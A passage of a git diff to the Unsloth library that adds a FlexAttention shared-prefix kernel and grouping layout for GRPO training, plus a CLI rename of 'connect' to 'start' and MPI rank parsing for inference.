+_ENABLED = env_on("UNSLOTH_GRPO_SEQ_PACKING", "1") and env_on("UNSLOTH_GRPO_PREFIX_GROUPER", "1")
+_VERIFY_ON = env_on("UNSLOTH_GRPO_PREFIX_GROUPER_VERIFY", "1")
+_TOKR_THRESHOLD = float(os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER_TOKR", "1.3"))
+_TOL_OK = float(os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER_TOL", "0.7"))
+
+
+def prefix_grouper_enabled() -> bool:
+    """PrefixGrouper requires seq-packing on (it reuses its de-pad + scatter machinery)."""
+    return _ENABLED
+
+
+def verify_on() -> bool:
+    return _VERIFY_ON
+
+
+def tokr_threshold() -> float:
+    return _TOKR_THRESHOLD
+
+
+def tol_ok() -> float:
+    return _TOL_OK
+
+
+# diff >= TOL_KILL = broken mask/isolation -> structure permanently unsafe; between
+# tol_ok and TOL_KILL -> fall back for this shape but keep trying others.
+TOL_KILL = 1.5
+
+
+@dataclass
+class GroupLayout:
+    """Everything the GRPO forward needs to run + extract the shared-prefix path."""
+
+    flat_ids: torch.Tensor  # [1, T]  (T == seg.T)
+    position_ids: torch.Tensor  # [1, T]
+    prefix_seg_info: PrefixSegInfo
+    # per completion target token, aligned 1:1:
+    tgt_rows: torch.Tensor  # [N] original row index
+    tgt_cols: torch.Tensor  # [N] original padded column in that row
+    tgt_pred: torch.Tensor  # [N] flat predicting index (into the T stream)
+    tgt_flat: torch.Tensor  # [N] flat index of the target token itself (into T)
+    total_rows: int
+    L: int  # original padded seq length (input_ids.shape[1])
+    W: int  # logits_to_keep + max_left_pad (scatter width)
+    tok_r: float
+    signature: Tuple
+
+    def extract_logps(
+        self,
+        hidden,
+        lm_head,
+        chunked_fn,
+        chunks,
+        logit_scale_multiply,
+        logit_scale_divide,
+        logit_softcapping,
+        temperature,
+    ) -> torch.Tensor:
+        """hidden: [1, T, Hdim] (pre-lm_head hidden states, UNSLOTH_RETURN_HIDDEN_STATES=1).
+        Returns [total_rows, W] float32, byte-compatible with the packed path result."""
+        # In a sharded model hidden may live on the lm-head device; move the small index
+        # maps to hidden.device before indexing.
+        device = hidden.device
+        pred_h = hidden[0, self.tgt_pred.to(device), :].unsqueeze(0)  # [1, N, Hdim]
+        tgt_ids = self.flat_ids[0, self.tgt_flat].to(device).unsqueeze(0)  # [1, N]
+        sel = chunked_fn(
+            pred_h,
+            lm_head,
+            tgt_ids,
+            chunks,
+            logit_scale_multiply,
+            logit_scale_divide,
+            logit_softcapping,
+            temperature,
+        )[0]  # [N] logprobs
+        dest = self.tgt_rows.to(device) * self.L + self.tgt_cols.to(device)
+        result = (
+            torch.zeros(self.total_rows * self.L, dtype = torch.float32, device = device)
+            .index_put((dest,), sel.to(torch.float32))
+            .view(self.total_rows, self.L)[:, -self.W :]
+        )
+        return result
+
+
+def _build_groups(ids_cpu, real_cols_cpu, cstart_cpu, num_generations, total_rows):
+    """CPU-side grouping. Returns group dicts or None. Mirrors the packed _pk_* partition.
+
+    A row's REAL tokens are the columns where input != pad. Its completion region (what
+    the packed path scatters, then completion_mask masks) is the real columns with
+    original col >= cstart_r, where cstart_r = (L - logits_to_keep) - left_pad_r. The
+    prompt is the real columns < cstart_r. Within a GRPO group all G rows share the same
+    prompt => same left_pad => same cstart => the prompt real columns are BYTE-IDENTICAL
+    across the group (the shared prefix). We require that byte-identity (falls back
+    otherwise). No prompt-tail special-casing: every suffix token is scattered exactly
+    like the packed path; completion_mask masks the leading prompt-tail positions.
+    """
+    G = num_generations
+    if G is None or G < 2 or total_rows % G != 0:
+        return None
+    groups = []
+    for g0 in range(0, total_rows, G):
+        rows = list(range(g0, g0 + G))
+        prompt_cols_per_row = []  # real cols < cstart
+        prompt_toks_per_row = []
+        comp_cols_per_row = []  # real cols >= cstart  (the completion region packed scatters)
+        for r in rows:
+            cs = cstart_cpu[r]
+            rc = real_cols_cpu[r]
+            p_cols = [c for c in rc if c < cs]
+            c_cols = [c for c in rc if c >= cs]
+            prompt_cols_per_row.append(p_cols)
+            prompt_toks_per_row.append([ids_cpu[r][c] for c in p_cols])
+            comp_cols_per_row.append(c_cols)
+        if any(len(p) == 0 for p in prompt_toks_per_row):
+            return None
+        # require BYTE-IDENTICAL prompts across the group (shared-prefix precondition).
+        P = len(prompt_toks_per_row[0])
+        if any(len(prompt_toks_per_row[k]) != P for k in range(1, G)):
+            return None
+        p0 = prompt_toks_per_row[0]
+        if any(prompt_toks_per_row[k] != p0 for k in range(1, G)):
+            return None
+        if P == 0:
+            return None
+        R_list = [len(c) for c in comp_cols_per_row]
+        if sum(R_list) == 0:
+            return None
+        groups.append(
+            dict(
+                rows = rows,
+                P = P,
+                prefix_cols = prompt_cols_per_row[0],  # shared prompt real columns (row0)
+                prefix_row = rows[0],
+                R_list = R_list,
+                suf_cols = comp_cols_per_row,  # per-row completion-region real columns
+            )
+        )
+    return groups
+
+
+def _tok_r(groups) -> float:
+    tok_full = 0
+    tok_sp = 0
+    for gm in groups:
+        P = gm["P"]
+        Rs = gm["R_list"]
+        tok_full += sum(P + r for r in Rs)  # G*P + sumR
+        tok_sp += P + sum(Rs)  # P + sumR
+    return (tok_full / tok_sp) if tok_sp else 1.0
+
+
+def build_group_layout(
+    input_ids,
+    logits_to_keep,
+    pad_id,
+    num_generations,
+    left_pad_tokens_per_prompt,
+    *,
+    apply_tokr_gate = True,
+    max_segment_cap = None,
+):
+    """Build the shared-prefix GroupLayout, or return None to fall back to the packed path.
+
+    input_ids : [B, L]. GRPO's layout is left-padded in the prompt and right-padded in
+        the completion. Real tokens of a row are a contiguous run not necessarily
+        starting at column 0.
+    logits_to_keep : int
+    left_pad_tokens_per_prompt : [B] long tensor (per-row left-pad count in the prompt).
+    """
+    device = input_ids.device
+    total_rows, L = input_ids.shape
+    keep = input_ids != pad_id
+    # completion start column per row (matches create_completion_attention_mask / _pk_cstart).
+    cstart = ((L - logits_to_keep) - left_pad_tokens_per_prompt).to(torch.long)
+    cstart_cpu = cstart.tolist()
+    ids_cpu = input_ids.tolist()
+    # per-row real (non-pad) columns. GRPO rows are one contiguous real run, so derive
+    # [first, first+n) on GPU; the O(B*L) scan is only a non-contiguous fallback.
+    n_real = keep.sum(dim = 1)
+    first = torch.argmax(keep.to(torch.int8), dim = 1)
+    ar = torch.arange(L, device = device)
+    contiguous = bool(
+        (keep == ((ar >= first.unsqueeze(1)) & (ar < (first + n_real).unsqueeze(1)))).all()
+    )
+    if contiguous:
+        real_cols_cpu = [list(range(f, f + n)) for f, n in zip(first.tolist(), n_real.tolist())]
+    else:
+        keep_cpu = keep.tolist()
+        real_cols_cpu = [[c for c in range(L) if keep_cpu[r][c]] for r in range(total_rows)]
+
+    groups = _build_groups(ids_cpu, real_cols_cpu, cstart_cpu, num_generations, total_rows)
+    if groups is None:
+        return None
+
+    # sliding-window guard: a group's PG span is P + max(R); fall back if it exceeds the window.
+    if max_segment_cap is not None:
+        for gm in groups:
+            if gm["P"] + max(gm["R_list"]) > max_segment_cap:
+                return None
+
+    tok_r = _tok_r(groups)
+    if apply_tokr_gate and tok_r < tokr_threshold():
+        return None  # low reuse -> not worth it; use the full-row packed path
+
+    # Build flat stream by gathering original (row, col) coordinates.
+    group_specs = [(gm["P"], gm["R_list"]) for gm in groups]
+    seg, group_meta = build_seg_info_multigroup(group_specs, device)
+
+    flat_src_rows: List[int] = []
+    flat_src_cols: List[int] = []
+    pos_list: List[int] = []
+    tgt_rows: List[int] = []
+    tgt_cols: List[int] = []
+    tgt_pred: List[int] = []
+    tgt_flat: List[int] = []
+
+    for gm, meta in zip(groups, group_meta):
+        rows = gm["rows"]
+        P = gm["P"]
+        r0 = gm["prefix_row"]
+        prefix_cols = gm["prefix_cols"]  # ORIGINAL real prompt columns (len P) of row0
+        plast = meta["prefix_last_index"]  # base + P - 1
+        # gather the shared prefix once, from row0.
+        flat_src_rows.extend([r0] * P)
+        flat_src_cols.extend(prefix_cols)
+        pos_list.extend(range(P))
+        # suffixes: every suffix token is a completion-region target (scattered like the
+        # packed path; completion_mask hides prompt-tail positions).
+        for i, r in enumerate(rows):
+            cols = gm["suf_cols"][i]
+            r_i = len(cols)
+            s, e = meta["suffix_slices"][i]  # flat offsets [s, e)
+            flat_src_rows.extend([r] * r_i)
+            flat_src_cols.extend(cols)
+            pos_list.extend(range(P, P + r_i))
+            for j in range(r_i):
+                # pos 0 is predicted from the prefix's last token; j>=1 from the previous suffix token.
+                pred = plast if j == 0 else (s + j - 1)
+                tgt_rows.append(r)
+                tgt_cols.append(cols[j])  # ORIGINAL padded column in row r
+                tgt_pred.append(pred)
+                tgt_flat.append(s + j)  # flat index of the target token itself
+
+    T = len(flat_src_rows)
+    assert T == seg.T, f"flat stream len {T} != seg.T {seg.T}"
+    fr = torch.tensor(flat_src_rows, device = device, dtype = torch.long)
+    fc = torch.tensor(flat_src_cols, device = device, dtype = torch.long)
+    flat_ids = input_ids[fr, fc].unsqueeze(0)  # [1, T] (grad-safe gather)
+    position_ids = torch.tensor(pos_list, device = device, dtype = torch.long).unsqueeze(0)
+
+    max_left_pad = int(left_pad_tokens_per_prompt.max().item()) if total_rows else 0
+    W = logits_to_keep + max_left_pad
+
+    # self-verify cache key: the mask/index-map/scatter logic is structural, so key on
+    # (num_groups, group_sizes), not exact lengths -- GRPO lengths change every step and
+    # keying on T would re-verify forever ("verify once, then trust", like the packed path).
+    grp_sizes = tuple(sorted(len(gm["R_list"]) for gm in groups))
+    sig = (len(groups), grp_sizes)
+
+    return GroupLayout(
+        flat_ids = flat_ids,
+        position_ids = position_ids,
+        prefix_seg_info = seg,
+        tgt_rows = torch.tensor(tgt_rows, device = device, dtype = torch.long),
+        tgt_cols = torch.tensor(tgt_cols, device = device, dtype = torch.long),
+        tgt_pred = torch.tensor(tgt_pred, device = device, dtype = torch.long),
+        tgt_flat = torch.tensor(tgt_flat, device = device, dtype = torch.long),
+        total_rows = total_rows,
+        L = L,
+        W = W,
+        tok_r = tok_r,
+        signature = sig,
+    )
+
+
+__all__ = [
+    "GroupLayout",
+    "build_group_layout",
+    "prefix_grouper_enabled",
+    "verify_on",
+    "tokr_threshold",
+    "tol_ok",
+    "TOL_KILL",
+    "env_on",
+]
diff --git a/unsloth/utils/prefix_grouper_kernel.py b/unsloth/utils/prefix_grouper_kernel.py
new file mode 100644
index 0000000000..9a9719b015
--- /dev/null
+++ b/unsloth/utils/prefix_grouper_kernel.py
@@ -0,0 +1,436 @@
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+"""FlexAttention shared-prefix kernel for PrefixGrouper (GRPO shared-prompt dedup).
+
+In GRPO every prompt spawns ``G = num_generations`` completions that share the same
+prompt prefix. The full-row packed path forwards the identical prefix ``G`` times.
+PrefixGrouper stores the prefix ONCE and concatenates only the ``G`` suffixes, with an
+attention layout where each suffix token attends to ``[the single shared prefix] +
+[causal within its own suffix]``. This kernel expresses that one-prefix -> many-suffix
+fan-out via a ``torch.nn.attention.flex_attention`` block mask, so the masked-out
+cross-suffix / cross-group blocks are never computed and the ``P + G*R`` FLOP saving is
+realised (not merely a masked dense ``O(T^2)``).
+
+Mask semantics (identical to the certified SDPA oracle):
+
+    keep(q_idx, kv_idx) = same_group(q, kv) AND
+        ( is_prefix[kv_idx]                                  # full prefix visibility
+          OR ( suffix_of_kv[kv_idx] == suffix_of_kv[q_idx]   # same suffix ...
+               AND kv_idx <= q_idx ) )                       # ... causal within it
+
+This module is self-contained (no dependency on any temp/ scratch dir) so PrefixGrouper
+works from the installed source after a fresh compile. It is only imported lazily from
+``attention_dispatch.run_attention`` when ``prefix_seg_info`` is present, which itself is
+only ever set when ``UNSLOTH_GRPO_PREFIX_GROUPER`` is on and grouping succeeded, so the
+default (off) path never touches this file.
+
+Provided entry points:
+  * ``PrefixSegInfo``            : per-flat-token segment metadata + cache signature.
+  * ``build_seg_info_multigroup``: build PrefixSegInfo for many groups packed flat.
+  * ``build_seg_info_from_layout``: build PrefixSegInfo for ONE group (test helper).
+  * ``get_block_mask``          : cached create_block_mask keyed on the signature.
+  * ``flex_shared_prefix_attention(Q, K, V, prefix_seg_info)``
+        Q/K/V of shape [1, T, n_heads, head_dim]; returns [1, T, n_heads, head_dim],
+        IDENTICAL semantics to the SDPA oracle.
+"""
+
+from __future__ import annotations
+
+import os
+from dataclasses import dataclass
+from typing import Dict, List, Optional, Tuple
+
+import torch
+from torch.nn.attention.flex_attention import (
+    BlockMask,
+    create_block_mask,
+    flex_attention,
+)
+
+# GRPO feeds many distinct segment lengths; at dynamo's default recompile_limit (8) the
+# compiled kernel silently reuses a mismatched specialisation (wrong results). Raise it.
+torch._dynamo.config.recompile_limit = max(getattr(torch._dynamo.config, "recompile_limit", 8), 256)
+torch._dynamo.config.accumulated_recompile_limit = max(
+    getattr(torch._dynamo.config, "accumulated_recompile_limit", 256), 2048
+)
+
+
+# Compiled kernels: torch.compile fuses the sparse mask into one kernel. dynamic=True is
+# required: T changes almost every GRPO batch and dynamic=False recompiles per T (~14s
+# each). T is still padded to a multiple of 128 (_pad_len) for the backward kernel.
+_flex_attention_compiled = torch.compile(flex_attention, dynamic = True)
+_create_block_mask_compiled = torch.compile(create_block_mask, dynamic = True)
+
+# Flash block sizes by Q dtype (env-overridable). The two disjoint key runs (prefix +
+# own-suffix) stress online-softmax accumulation: fp32 needs 32/32 for a ~1e-6 floor;
+# bf16 passes parity at 128/64 and is ~5x faster (128/128 OOMs Triton on B200).
+_FP32_BLOCK_M = int(os.environ.get("PG_FLEX_BLOCK_M", "32"))
+_FP32_BLOCK_N = int(os.environ.get("PG_FLEX_BLOCK_N", "32"))
+_BF16_BLOCK_M = int(os.environ.get("PG_FLEX_BF16_BLOCK_M", "128"))
+_BF16_BLOCK_N = int(os.environ.get("PG_FLEX_BF16_BLOCK_N", "64"))
+
+
+def _kernel_options_for_dtype(dtype):
+    """Pick the numerically-safe flash block sizes for the Q dtype."""
+    if dtype == torch.bfloat16 or dtype == torch.float16:
+        return {"BLOCK_M": _BF16_BLOCK_M, "BLOCK_N": _BF16_BLOCK_N}
+    return {"BLOCK_M": _FP32_BLOCK_M, "BLOCK_N": _FP32_BLOCK_N}
+
+
+# Backward-compat constant (fp32 default).
+_FLEX_KERNEL_OPTIONS = {"BLOCK_M": _FP32_BLOCK_M, "BLOCK_N": _FP32_BLOCK_N}
+
+# The compiled backward trips an Inductor assertion when T is not a multiple of 128, so
+# pad the flat sequence. Pad tokens form a group that attends to / is attended by nothing
+# (all-masked rows return 0, not NaN) and are sliced off the output.
+_PAD_MULTIPLE = 128
+_PAD_GROUP = -99  # sentinel group id / suffix id for pad tokens
+
+
+def _pad_len(T: int) -> int:
+    return ((T + _PAD_MULTIPLE - 1) // _PAD_MULTIPLE) * _PAD_MULTIPLE
+
+
+# ---------------------------------------------------------------------------
+# Segment metadata
+# ---------------------------------------------------------------------------
+
+
+@dataclass
+class PrefixSegInfo:
+    """Per-flat-token segment metadata driving the shared-prefix block mask.
+
+    The label tensors are 1-D of length ``T_pad`` (>= real ``T``, padded up to a multiple
+    of 128 so the backward kernel compiles). Positions ``[T:T_pad)`` are pad tokens
+    (group/suffix == _PAD_GROUP) that attend to nothing.
+
+    Attributes
+    ----------
+    group_of_kv : LongTensor [T_pad]
+        Group id per flat token (0..num_groups-1); _PAD_GROUP for pad tokens.
+    is_prefix : BoolTensor [T_pad]
+        True iff the token is a prefix token of its group (False for pad).
+    suffix_of_kv : LongTensor [T_pad]
+        Suffix id per flat token; -1 for prefix, _PAD_GROUP for pad. Suffix ids are
+        globally unique across groups.
+    signature : hashable
+        Cache key for the block mask (depends only on the labels + T_pad).
+    T : int
+        Real flat sequence length (Q/K/V of this length are padded internally).
+    T_pad : int
+        Padded length (multiple of 128) at which the block mask is built.
+    """
+
+    group_of_kv: torch.Tensor
+    is_prefix: torch.Tensor
+    suffix_of_kv: torch.Tensor
+    signature: Tuple
+    T: int
+    T_pad: int
+
+
+def _pad_labels(group_of_kv, is_prefix, suffix_of_kv, device):
+    """Pad the label tensors up to a multiple of 128 with pad-token sentinels."""
+    T = int(group_of_kv.numel())
+    T_pad = _pad_len(T)
+    if T_pad == T:
+        return group_of_kv, is_prefix, suffix_of_kv, T, T_pad
+    pad = T_pad - T
+    group_of_kv = torch.cat(
+        [group_of_kv, torch.full((pad,), _PAD_GROUP, dtype = torch.long, device = device)]
+    )
+    is_prefix = torch.cat([is_prefix, torch.zeros(pad, dtype = torch.bool, device = device)])
+    suffix_of_kv = torch.cat(
+        [suffix_of_kv, torch.full((pad,), _PAD_GROUP, dtype = torch.long, device = device)]
+    )
+    return group_of_kv, is_prefix, suffix_of_kv, T, T_pad
+
+
+def build_seg_info_from_layout(layout, device: Optional[torch.device] = None) -> PrefixSegInfo:
+    """Build PrefixSegInfo for ONE group from an object with ``.flat_ids``, ``.P`` and
+    ``.suffix_slices`` (used by the parity test / oracle helpers)."""
+    if device is None:
+        device = layout.flat_ids.device
+    T = int(layout.flat_ids.shape[1])
+    P = int(layout.P)
+
+    group_of_kv = torch.zeros(T, dtype = torch.long, device = device)  # single group -> 0
+    is_prefix = torch.zeros(T, dtype = torch.bool, device = device)
+    is_prefix[:P] = True
+    suffix_of_kv = torch.full((T,), -1, dtype = torch.long, device = device)
+    for i, (s, e) in enumerate(layout.suffix_slices):
+        suffix_of_kv[s:e] = i
+
+    group_of_kv, is_prefix, suffix_of_kv, T, T_pad = _pad_labels(
+        group_of_kv, is_prefix, suffix_of_kv, device
+    )
+    sig = ("single", T_pad, P, tuple((s, e) for (s, e) in layout.suffix_slices))
+    return PrefixSegInfo(
+        group_of_kv = group_of_kv,
+        is_prefix = is_prefix,
+        suffix_of_kv = suffix_of_kv,
+        signature = sig,
+        T = T,
+        T_pad = T_pad,
+    )
+
+
+def build_seg_info_multigroup(
+    group_specs: List[Tuple[int, List[int]]], device: torch.device
+) -> Tuple[PrefixSegInfo, List[dict]]:
+    """Build PrefixSegInfo for several shared-prefix groups packed block-diagonally.
+
+    Parameters
+    ----------
+    group_specs : list of (P_g, [R_{g,0}, R_{g,1}, ...])
+        For each group: prefix length and the list of suffix lengths.
+
+    Returns
+    -------
+    seg : PrefixSegInfo
+    group_meta : list of dicts with 'base', 'P', 'prefix_last_index', 'suffix_slices'
+        (flat offsets), enough to build the completion index map.
+    """
+    group_of_list = []
+    is_prefix_list = []
+    suffix_of_list = []
+    group_meta = []
+
+    base = 0
+    suffix_counter = 0
+    sig_parts = []
+    for gid, (P, R_list) in enumerate(group_specs):
+        # prefix
+        group_of_list.append(torch.full((P,), gid, dtype = torch.long, device = device))
+        is_prefix_list.append(torch.ones(P, dtype = torch.bool, device = device))
+        suffix_of_list.append(torch.full((P,), -1, dtype = torch.long, device = device))
+        prefix_last_index = base + P - 1
+        suffix_slices = []
+        cursor = base + P
+        for r in R_list:
+            group_of_list.append(torch.full((r,), gid, dtype = torch.long, device = device))
+            is_prefix_list.append(torch.zeros(r, dtype = torch.bool, device = device))
+            suffix_of_list.append(torch.full((r,), suffix_counter, dtype = torch.long, device = device))
+            suffix_slices.append((cursor, cursor + r))
+            cursor += r
+            suffix_counter += 1
+        group_meta.append(
+            {
+                "base": base,
+                "P": P,
+                "prefix_last_index": prefix_last_index,
+                "suffix_slices": suffix_slices,
+            }
+        )
+        sig_parts.append((P, tuple(R_list)))
+        base = cursor
+
+    group_of_kv = torch.cat(group_of_list)
+    is_prefix = torch.cat(is_prefix_list)
+    suffix_of_kv = torch.cat(suffix_of_list)
+    group_of_kv, is_prefix, suffix_of_kv, T, T_pad = _pad_labels(
+        group_of_kv, is_prefix, suffix_of_kv, device
+    )
+    sig = ("multi", T_pad, tuple(sig_parts))
+    seg = PrefixSegInfo(
+        group_of_kv = group_of_kv,
+        is_prefix = is_prefix,
+        suffix_of_kv = suffix_of_kv,
+        signature = sig,
+        T = T,
+        T_pad = T_pad,
+    )
+    return seg, group_meta
+
+
+# ---------------------------------------------------------------------------
+# Block-mask builder + cache, keyed on (signature, device): the mask depends only on the
+# per-token labels and T, so it is reused across layers and steps.
+
+_BLOCK_MASK_CACHE: Dict[Tuple, BlockMask] = {}
+
+
+def _make_mask_mod(group_of_kv, is_prefix, suffix_of_kv):
+    """Return a mask_mod closure over the (device) label tensors.
+
+    keep(q, kv) = same_group AND
+        ( is_prefix[kv]  AND kv <= q                     # causal within/ into prefix
+          OR ( suffix_of_kv[kv] == suffix_of_kv[q]       # same suffix ...
+               AND (not is_prefix[q])                    # q is a suffix token ...
+               AND kv <= q ) )                           # ... causal within it
+
+    The single ``kv <= q`` guard on the is_prefix branch gives BOTH prefix-causal
+    behaviour (a prefix q sees only earlier prefix tokens) AND full-prefix-visibility for
+    suffixes (every prefix index < every suffix index in a group, so kv <= q always holds
+    for a suffix q vs a prefix kv of its group), matching the SDPA oracle exactly.
+    """
+
+    def mask_mod(b, h, q_idx, kv_idx):
+        same_group = group_of_kv[q_idx] == group_of_kv[kv_idx]
+        kv_is_prefix = is_prefix[kv_idx]
+        causal = kv_idx <= q_idx
+        same_suffix = (suffix_of_kv[kv_idx] == suffix_of_kv[q_idx]) & (~is_prefix[q_idx])
+        keep = same_group & ((kv_is_prefix & causal) | (same_suffix & causal))
+        return keep
+
+    return mask_mod
+
+
+def get_block_mask(
+    seg: PrefixSegInfo,
+    device: torch.device,
+    compile_mask: bool = True,
+) -> BlockMask:
+    """Return a cached BlockMask for the segment signature (built once, reused).
+
+    CRITICAL: the block mask is cached and shared across BOTH the no-grad old/ref logprob
+    forward (which runs under torch.inference_mode) and the grad training forward. If the
+    mask were first built under inference_mode, its tensors would be INFERENCE tensors that
+    "cannot be saved for backward" when reused in the grad forward. We therefore build the
+    mask with inference mode explicitly DISABLED, so the same cached BlockMask is a normal
+    tensor usable by autograd. (The mask depends only on integer labels; it needs no grad.)
+    """
+    key = (seg.signature, str(device))
+    bm = _BLOCK_MASK_CACHE.get(key)
+    if bm is not None:
+        return bm
+
+    # Move labels to the consumer (Q) device: with a sharded model the seg tensors live on
+    # input_ids.device and would index cross-device. Copies once per (signature, device).
+    # These copies must also run with inference mode DISABLED (same reason as the mask build):
+    # when this entry is first built under the no-grad old/ref forward's inference_mode and
+    # device != seg.device, a .to(device) copy would be an inference tensor that mask_mod
+    # captures, which then cannot be saved for backward when the grad training forward reuses
+    # the cached mask.
+    builder = _create_block_mask_compiled if compile_mask else create_block_mask
+    with torch.inference_mode(False):
+        mask_mod = _make_mask_mod(
+            seg.group_of_kv.to(device), seg.is_prefix.to(device), seg.suffix_of_kv.to(device)
+        )
+        bm = builder(
+            mask_mod,
+            B = 1,
+            H = None,
+            Q_LEN = seg.T_pad,
+            KV_LEN = seg.T_pad,
+            device = device,
+        )
+    # FIFO bound: GRPO lengths change nearly every step, so evict the oldest to cap GPU pins.
+    if len(_BLOCK_MASK_CACHE) >= 8:
+        _BLOCK_MASK_CACHE.pop(next(iter(_BLOCK_MASK_CACHE)))
+    _BLOCK_MASK_CACHE[key] = bm
+    return bm
+
+
+def clear_block_mask_cache():
+    _BLOCK_MASK_CACHE.clear()
+
+
+def _pad_qkv_seq(x: torch.Tensor, T_pad: int) -> torch.Tensor:
+    """Zero-pad a [B, H, T, D] tensor along the sequence dim up to T_pad."""
+    T = x.shape[2]
+    if T_pad == T:
+        return x
+    pad = torch.zeros(x.shape[0], x.shape[1], T_pad - T, x.shape[3], device = x.device, dtype = x.dtype)
+    return torch.cat([x, pad], dim = 2)
+
+
+def _run_flex(q, k, v, block_mask, enable_gqa, scale, compiled, T, T_pad):
+    """Pad q/k/v to T_pad, run flex, slice the output back to T. q/k/v: [B,H,T,D]."""
+    qp = _pad_qkv_seq(q, T_pad)
+    kp = _pad_qkv_seq(k, T_pad)
+    vp = _pad_qkv_seq(v, T_pad)
+    if compiled:
+        out = _flex_attention_compiled(
+            qp,
+            kp,
+            vp,
+            block_mask = block_mask,
+            enable_gqa = enable_gqa,
+            scale = scale,
+            kernel_options = _kernel_options_for_dtype(qp.dtype),
+        )
+    else:
+        # eager path (fp64 parity): dense scores, no kernel_options.
+        out = flex_attention(
+            qp,
+            kp,
+            vp,
+            block_mask = block_mask,
+            enable_gqa = enable_gqa,
+            scale = scale,
+        )
+    return out[:, :, :T, :]
+
+
+# ---------------------------------------------------------------------------
+# The kernel entry point
+# ---------------------------------------------------------------------------
+
+
+def flex_shared_prefix_attention(
+    Q: torch.Tensor,
+    K: torch.Tensor,
+    V: torch.Tensor,
+    prefix_seg_info: PrefixSegInfo,
+    scale: Optional[float] = None,
+    block_mask: Optional[BlockMask] = None,
+    compiled: bool = True,
+) -> torch.Tensor:
+    """Shared-prefix attention via FlexAttention.
+
+    Parameters
+    ----------
+    Q, K, V : Tensor [1, T, n_heads, head_dim]
+        (Q has n_heads, K/V have n_kv_heads for GQA).
+    prefix_seg_info : PrefixSegInfo
+    scale : optional float, softmax scale (defaults to 1/sqrt(head_dim)).
+    block_mask : optional precomputed BlockMask (else built/cached from seg info).
+
+    Returns
+    -------
+    Tensor [1, T, n_heads, head_dim], identical semantics to the SDPA oracle branch.
+    """
+    assert Q.dim() == 4 and Q.shape[0] == 1, f"expected [1,T,H,D], got {tuple(Q.shape)}"
+    device = Q.device
+    # FlexAttention wants [B, H, T, D].
+    q = Q.transpose(1, 2)  # [1, n_heads, T, D]
+    k = K.transpose(1, 2)  # [1, n_kv_heads, T, D]
+    v = V.transpose(1, 2)
+
+    n_heads = q.shape[1]
+    n_kv = k.shape[1]
+    enable_gqa = n_heads != n_kv
+    T = q.shape[2]
+    T_pad = prefix_seg_info.T_pad
+    assert T == prefix_seg_info.T, f"Q length {T} != seg.T {prefix_seg_info.T}"
+
+    if block_mask is None:
+        block_mask = get_block_mask(prefix_seg_info, device, compile_mask = compiled)
+
+    out = _run_flex(q, k, v, block_mask, enable_gqa, scale, compiled, T, T_pad)
+    # back to [1, T, n_heads, D]
+    return out.transpose(1, 2).contiguous()
+
+
+__all__ = [
+    "PrefixSegInfo",
+    "build_seg_info_multigroup",
+    "build_seg_info_from_layout",
+    "get_block_mask",
+    "clear_block_mask_cache",
+    "flex_shared_prefix_attention",
+]
diff --git a/unsloth_cli/__init__.py b/unsloth_cli/__init__.py
index 440b6276cd..b3831f5314 100644
--- a/unsloth_cli/__init__.py
+++ b/unsloth_cli/__init__.py
@@ -11,7 +11,7 @@ from importlib.metadata import version as package_version, PackageNotFoundError
 from unsloth_cli.commands.train import train
 from unsloth_cli.commands.inference import inference
 from unsloth_cli.commands.chat import chat
-from unsloth_cli.commands.connect import connect_app
+from unsloth_cli.commands.start import start_app
 from unsloth_cli.commands.export import export, list_checkpoints
 from unsloth_cli.commands.studio import (
     run as studio_run,
@@ -79,9 +79,16 @@ app.command()(export)
 app.command("list-checkpoints")(list_checkpoints)
 app.add_typer(studio_app, name = "studio", help = "Unsloth Studio commands.")
 app.add_typer(
-    connect_app,
+    start_app,
+    name = "start",
+    help = "Start a coding agent (Claude, Codex, OpenClaw, OpenCode, Hermes, Pi) against Studio.",
+)
+# Backwards-compatible hidden alias: `unsloth connect` routes to `unsloth start`.
+app.add_typer(
+    start_app,
     name = "connect",
-    help = "Connect a coding agent (Claude Code, Codex) to Studio.",
+    hidden = True,
+    help = "Deprecated alias for `unsloth start`.",
 )
 
 # Top-level `unsloth run` aliases `unsloth studio run`; same context
diff --git a/unsloth_cli/_inference.py b/unsloth_cli/_inference.py
index e8a3414d73..c3b188710e 100644
--- a/unsloth_cli/_inference.py
+++ b/unsloth_cli/_inference.py
@@ -4,9 +4,11 @@
 """Model loading and streaming shared by `inference` and `chat`."""
 
 import asyncio
+import json
 import os
 import re
 import sys
+from contextlib import contextmanager, redirect_stderr, redirect_stdout
 from pathlib import Path
 from typing import List, Optional
 
@@ -14,10 +16,18 @@ import typer
 
 _THINK_OPEN = "<think>"
 _THINK_BLOCK = re.compile(rf"{re.escape(_THINK_OPEN)}.*?</think>", re.DOTALL)
+_STREAMED_ERROR_PREFIX = "Error: "
 
 # Cloudflare (in front of remote Studio proxies like RunPod) 403s the default
 # "Python-urllib/X.Y" User-Agent as a bot; send a real one on every request.
 _USER_AGENT = "unsloth-cli"
+_MPI_ENV_PAIRS = (
+    ("OMPI_COMM_WORLD_RANK", "OMPI_COMM_WORLD_SIZE"),
+    ("PMI_RANK", "PMI_SIZE"),
+    ("PMIX_RANK", "PMIX_SIZE"),
+    ("MPI_RANK", "MPI_WORLD_SIZE"),
+    ("MV2_COMM_WORLD_RANK", "MV2_COMM_WORLD_SIZE"),
+)
 
 # Built lazily; urllib stays function-local to match this module.
 _no_redirect_opener = None
@@ -61,6 +71,108 @@ def configure_quiet_logging() -> None:
     os.environ.setdefault("HF_HUB_DISABLE_PROGRESS_BARS", "1")
 
 
+def _parse_nonnegative_int(value: Optional[str]) -> Optional[int]:
+    if value is None:
+        return None
+    try:
+        parsed = int(value)
+    except (TypeError, ValueError):
+        return None
+    return parsed if parsed >= 0 else None
+
+
+def _first_mpi_env_pair() -> tuple[Optional[int], Optional[int]]:
+    for rank_name, size_name in _MPI_ENV_PAIRS:
+        rank = _parse_nonnegative_int(os.environ.get(rank_name))
+        world_size = _parse_nonnegative_int(os.environ.get(size_name))
